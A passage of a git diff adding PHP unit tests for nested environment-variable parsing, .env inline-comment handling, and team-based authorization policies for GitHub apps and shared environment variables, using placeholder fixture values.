+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction doesn't crash
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
+
+ if ($key === 'KEY1') {
+ expect($value)->toBe('value1');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY2') {
+ // If 'value' is missing, fallback to empty string (not the whole array)
+ expect($value)->toBe('');
+ expect($comment)->toBe('comment2');
+ } elseif ($key === 'KEY3') {
+ // If both are missing, fallback to empty string (not empty array)
+ expect($value)->toBe('');
+ expect($comment)->toBeNull();
+ }
+ }
+});
diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php
new file mode 100644
index 000000000..65e8738cc
--- /dev/null
+++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php
@@ -0,0 +1,220 @@
+not->toBeNull()
+ ->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
+
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split)->not->toBeNull()
+ ->and($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
+});
+
+test('replaceVariables correctly extracts nested variable content', function () {
+ // Before the fix, this would incorrectly extract only up to the first closing brace
+ $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
+
+ // Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO"
+ expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
+ ->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated
+});
+
+test('nested defaults with path concatenation work', function () {
+ $input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('REDIS_URL')
+ ->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0');
+});
+
+test('deeply nested variables are handled', function () {
+ // Three levels of nesting
+ $input = '${A:-${B:-${C}}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+
+ expect($result['content'])->toBe('A:-${B:-${C}}');
+
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('A')
+ ->and($split['default'])->toBe('${B:-${C}}');
+});
+
+test('multiple nested variables in default value', function () {
+ // Default value contains multiple variable references
+ $input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('API')
+ ->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api');
+});
+
+test('nested variables with different operators', function () {
+ // Nested variable uses different operator
+ $input = '${API_URL:-${SERVICE_URL?error message}/api}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL?error message}/api');
+});
+
+test('backward compatibility with simple variables', function () {
+ // Simple variable without nesting should still work
+ $input = '${VAR}';
+
+ $result = replaceVariables($input);
+
+ expect($result->value())->toBe('VAR');
+});
+
+test('backward compatibility with single-level defaults', function () {
+ // Single-level default without nesting
+ $input = '${VAR:-default_value}';
+
+ $result = replaceVariables($input);
+
+ expect($result->value())->toBe('VAR:-default_value');
+
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['default'])->toBe('default_value');
+});
+
+test('backward compatibility with dash operator', function () {
+ $input = '${VAR-default}';
+
+ $result = replaceVariables($input);
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['operator'])->toBe('-');
+});
+
+test('backward compatibility with colon question operator', function () {
+ $input = '${VAR:?error message}';
+
+ $result = replaceVariables($input);
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['operator'])->toBe(':?')
+ ->and($split['default'])->toBe('error message');
+});
+
+test('backward compatibility with question operator', function () {
+ $input = '${VAR?error}';
+
+ $result = replaceVariables($input);
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['operator'])->toBe('?')
+ ->and($split['default'])->toBe('error');
+});
+
+test('SERVICE_URL magic variables in nested defaults', function () {
+ // Real-world scenario: SERVICE_URL_* magic variable used in nested default
+ $input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('DATABASE_URL')
+ ->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb');
+
+ // Extract the nested SERVICE_URL variable
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+
+ expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES');
+});
+
+test('SERVICE_FQDN magic variables in nested defaults', function () {
+ $input = '${API_HOST:-${SERVICE_FQDN_API}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${SERVICE_FQDN_API}');
+
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+
+ expect($nestedResult['content'])->toBe('SERVICE_FQDN_API');
+});
+
+test('complex real-world example', function () {
+ // Complex real-world scenario from the bug report
+ $input = '${API_URL:-${SERVICE_URL_YOLO}/api}';
+
+ // Step 1: Extract outer variable content
+ $result = extractBalancedBraceContent($input, 0);
+ expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
+
+ // Step 2: Split on operator
+ $split = splitOnOperatorOutsideNested($result['content']);
+ expect($split['variable'])->toBe('API_URL');
+ expect($split['operator'])->toBe(':-');
+ expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
+
+ // Step 3: Extract nested variable
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+ expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO');
+
+ // This verifies that:
+ // 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api"
+ // 2. SERVICE_URL_YOLO should be recognized and created as magic variable
+});
+
+test('empty nested default values', function () {
+ $input = '${VAR:-${NESTED:-}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${NESTED:-}');
+
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+ $nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']);
+
+ expect($nestedSplit['default'])->toBe('');
+});
+
+test('nested variables with complex paths', function () {
+ $input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json');
+});
+
+test('operator precedence with nesting', function () {
+ // The first :- at depth 0 should be used, not the one inside nested braces
+ $input = '${A:-${B:-default}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ // Should split on first :- (at depth 0)
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:-default}'); // Not split here
+});
diff --git a/tests/Unit/NestedEnvironmentVariableTest.php b/tests/Unit/NestedEnvironmentVariableTest.php
new file mode 100644
index 000000000..81b440927
--- /dev/null
+++ b/tests/Unit/NestedEnvironmentVariableTest.php
@@ -0,0 +1,207 @@
+toBe('VAR')
+ ->and($result['start'])->toBe(1)
+ ->and($result['end'])->toBe(5);
+});
+
+test('extractBalancedBraceContent handles nested braces', function () {
+ $result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
+ ->and($result['start'])->toBe(1)
+ ->and($result['end'])->toBe(34); // Position of closing }
+});
+
+test('extractBalancedBraceContent handles triple nesting', function () {
+ $result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('A:-${B:-${C}}');
+});
+
+test('extractBalancedBraceContent returns null for unbalanced braces', function () {
+ $result = extractBalancedBraceContent('${VAR', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null when no braces', function () {
+ $result = extractBalancedBraceContent('VAR', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent handles startPos parameter', function () {
+ $result = extractBalancedBraceContent('foo ${VAR} bar', 4);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR')
+ ->and($result['start'])->toBe(5)
+ ->and($result['end'])->toBe(9);
+});
+
+test('splitOnOperatorOutsideNested splits on :- operator', function () {
+ $split = splitOnOperatorOutsideNested('API_URL:-default_value');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('default_value');
+});
+
+test('splitOnOperatorOutsideNested handles nested defaults', function () {
+ $split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
+});
+
+test('splitOnOperatorOutsideNested handles dash operator', function () {
+ $split = splitOnOperatorOutsideNested('VAR-default');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe('-')
+ ->and($split['default'])->toBe('default');
+});
+
+test('splitOnOperatorOutsideNested handles colon question operator', function () {
+ $split = splitOnOperatorOutsideNested('VAR:?error message');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe(':?')
+ ->and($split['default'])->toBe('error message');
+});
+
+test('splitOnOperatorOutsideNested handles question operator', function () {
+ $split = splitOnOperatorOutsideNested('VAR?error');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe('?')
+ ->and($split['default'])->toBe('error');
+});
+
+test('splitOnOperatorOutsideNested returns null for simple variable', function () {
+ $split = splitOnOperatorOutsideNested('SIMPLE_VAR');
+
+ assertNull($split);
+});
+
+test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () {
+ $split = splitOnOperatorOutsideNested('A:-${B:-default}');
+
+ assertNotNull($split);
+ // Should split on first :- (outside nested braces), not the one inside ${B:-default}
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:-default}');
+});
+
+test('replaceVariables handles simple variable', function () {
+ $result = replaceVariables('${VAR}');
+
+ expect($result->value())->toBe('VAR');
+});
+
+test('replaceVariables handles nested expressions', function () {
+ $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
+
+ expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
+});
+
+test('replaceVariables handles variable with default', function () {
+ $result = replaceVariables('${API_URL:-http://localhost}');
+
+ expect($result->value())->toBe('API_URL:-http://localhost');
+});
+
+test('replaceVariables returns unchanged for non-variable string', function () {
+ $result = replaceVariables('not_a_variable');
+
+ expect($result->value())->toBe('not_a_variable');
+});
+
+test('replaceVariables handles triple nesting', function () {
+ $result = replaceVariables('${A:-${B:-${C}}}');
+
+ expect($result->value())->toBe('A:-${B:-${C}}');
+});
+
+test('replaceVariables fallback works for malformed input', function () {
+ // When braces are unbalanced, it falls back to old behavior
+ $result = replaceVariables('${VAR');
+
+ // Old behavior would extract everything before first }
+ // But since there's no }, it will extract 'VAR' (removing ${)
+ expect($result->value())->toContain('VAR');
+});
+
+test('extractBalancedBraceContent handles complex nested expression', function () {
+ $result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}');
+});
+
+test('splitOnOperatorOutsideNested handles complex nested expression', function () {
+ $split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('API')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}');
+});
+
+test('extractBalancedBraceContent finds second variable in string', function () {
+ $str = '${VAR1} and ${VAR2}';
+
+ // First variable
+ $result1 = extractBalancedBraceContent($str, 0);
+ assertNotNull($result1);
+ expect($result1['content'])->toBe('VAR1');
+
+ // Second variable
+ $result2 = extractBalancedBraceContent($str, $result1['end'] + 1);
+ assertNotNull($result2);
+ expect($result2['content'])->toBe('VAR2');
+});
+
+test('replaceVariables handles empty default value', function () {
+ $result = replaceVariables('${VAR:-}');
+
+ expect($result->value())->toBe('VAR:-');
+});
+
+test('splitOnOperatorOutsideNested handles empty default value', function () {
+ $split = splitOnOperatorOutsideNested('VAR:-');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('');
+});
+
+test('replaceVariables handles brace format without dollar sign', function () {
+ // This format is used by the regex capture group in magic variable detection
+ $result = replaceVariables('{SERVICE_URL_YOLO}');
+ expect($result->value())->toBe('SERVICE_URL_YOLO');
+});
+
+test('replaceVariables handles truncated brace format', function () {
+ // When regex captures {VAR from a larger expression, no closing brace
+ $result = replaceVariables('{API_URL');
+ expect($result->value())->toBe('API_URL');
+});
diff --git a/tests/Unit/ParseEnvFormatToArrayTest.php b/tests/Unit/ParseEnvFormatToArrayTest.php
new file mode 100644
index 000000000..303ff007d
--- /dev/null
+++ b/tests/Unit/ParseEnvFormatToArrayTest.php
@@ -0,0 +1,248 @@
+toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray strips inline comments from unquoted values', function () {
+ $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'],
+ 'NODE_VERSION' => ['value' => '22', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () {
+ $input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1#nocomment', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'comment'],
+ 'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'],
+ ]);
+});
+
+test('parseEnvFormatToArray preserves # in quoted values', function () {
+ $input = "KEY1=\"value with # hash\"\nKEY2='another # hash'";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value with # hash', 'comment' => null],
+ 'KEY2' => ['value' => 'another # hash', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles quoted values correctly', function () {
+ $input = "KEY1=\"quoted value\"\nKEY2='single quoted'";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'quoted value', 'comment' => null],
+ 'KEY2' => ['value' => 'single quoted', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray skips comment lines', function () {
+ $input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray skips empty lines', function () {
+ $input = "KEY1=value1\n\nKEY2=value2\n\n";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles values with equals signs', function () {
+ $input = 'KEY1=value=with=equals';
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value=with=equals', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles empty values', function () {
+ $input = "KEY1=\nKEY2=value";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => '', 'comment' => null],
+ 'KEY2' => ['value' => 'value', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles complex real-world example', function () {
+ $input = <<<'ENV'
+# Database Configuration
+DB_HOST=localhost
+DB_PORT=5432 #default postgres port
+DB_NAME="my_database"
+DB_PASSWORD='p@ssw0rd#123'
+
+# API Keys
+API_KEY=abc123 # Production key
+SECRET_KEY=xyz789
+ENV;
+
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'DB_HOST' => ['value' => 'localhost', 'comment' => null],
+ 'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'],
+ 'DB_NAME' => ['value' => 'my_database', 'comment' => null],
+ 'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null],
+ 'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'],
+ 'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles the original bug scenario', function () {
+ $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22";
+ $result = parseEnvFormatToArray($input);
+
+ // The value should be "22", not "22 #needed for now"
+ expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22');
+ expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#');
+ expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed');
+ // And the comment should be extracted
+ expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now');
+});
+
+test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () {
+ $input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\"";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'],
+ 'KEY2' => ['value' => 'another value', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () {
+ $input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes";
+ $result = parseEnvFormatToArray($input);
+
+ // KEY1: no space before #, so entire value is kept
+ // KEY2: space before first #, so everything from first space+# is stripped
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1#not#comment', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () {
+ $input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\"";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => '#starts with hash', 'comment' => null],
+ 'KEY2' => ['value' => 'hash # in middle', 'comment' => null],
+ 'KEY3' => ['value' => 'ends with hash#', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray trims whitespace before comments', function () {
+ $input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => 'comment'],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'],
+ ]);
+ // Values should not have trailing spaces
+ expect($result['KEY1']['value'])->not->toEndWith(' ');
+ expect($result['KEY2']['value'])->not->toEndWith("\t");
+});
+
+test('parseEnvFormatToArray preserves hash in passwords without spaces', function () {
+ $input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'PASSWORD' => ['value' => 'pass#word123', 'comment' => null],
+ 'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray strips comments with space before hash', function () {
+ $input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'],
+ 'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'],
+ ]);
+});
+
+test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () {
+ $input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'],
+ 'KEY2' => ['value' => 'value', 'comment' => 'another comment'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles empty comments', function () {
+ $input = "KEY1=value #\nKEY2=value # ";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value', 'comment' => null],
+ 'KEY2' => ['value' => 'value', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray extracts multi-word comments', function () {
+ $input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production';
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () {
+ $input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'],
+ 'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'],
+ 'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () {
+ $input = 'ASD=asd #asdfgg';
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'],
+ ]);
+
+ // Specifically verify the comment is extracted
+ expect($result['ASD']['value'])->toBe('asd');
+ expect($result['ASD']['comment'])->toBe('asdfgg');
+ expect($result['ASD']['comment'])->not->toBeNull();
+});
diff --git a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php
new file mode 100644
index 000000000..55ba7f3d3
--- /dev/null
+++ b/tests/Unit/Policies/GithubAppPolicyTest.php
@@ -0,0 +1,227 @@
+makePartial();
+
+ $policy = new GithubAppPolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows any user to view system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('allows team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows user with system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows user with system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
new file mode 100644
index 000000000..f993978f9
--- /dev/null
+++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
@@ -0,0 +1,163 @@
+makePartial();
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows team member to view their team shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 2;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create shared environment variable', function () {
